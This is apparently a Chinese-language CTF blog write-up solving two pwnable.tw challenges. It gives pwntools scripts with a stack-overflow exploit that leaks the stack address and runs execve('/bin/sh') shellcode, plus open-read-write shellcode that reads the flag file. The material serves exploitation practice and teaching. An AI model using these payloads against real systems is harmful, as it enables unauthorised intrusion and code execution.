emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz

1.start

  比较简单的一个栈溢出,给出一个linux 0x80系统调用的参考网址,就决定是他了

参考之可以发现al=0x3执行sys_read时长度是0x3c*size_sz,栈的长度是0x14,明显的栈溢出。由于没有开启NX,所以直接在栈上布置shellcode即可。

需要注意的是:

  虽然程序没有开启PIE,但是利用的话是需要绕过ASLR的;原因是ASLR只是不影响代码段和数据段的基址随机化,而我们布置的shellcode是在栈上,堆段和栈段是受系统ASLR影响的

  脚本执行后shell没有回显可能是shellcode的问题,最好是自己写一个

给出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',10000)

r.recvuntil("Let's start the CTF:")
payload='a'*20+p32(0x08048087)
r.send(payload)
esp=u32(r.recv(4))
success(hex(esp))

#r.recvuntil("Let's start the CTF:\n")
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload='a'*20+p32(esp+20)+shellcode

r.sendline(payload)

r.interactive()

2.orw

  编写shellcode即可,参考上面给出的linux系统调用参考网址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *  

context(log_level = 'debug', arch = 'i386', os = 'linux')

p=remote('chall.pwnable.tw',10001)

p.recvuntil(':')

shellcode=""

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') #open(file,0,0)

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;') #read(3,file,0x30)

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') #write(1,file,0x30)

p.sendline(shellcode)

print p.recv()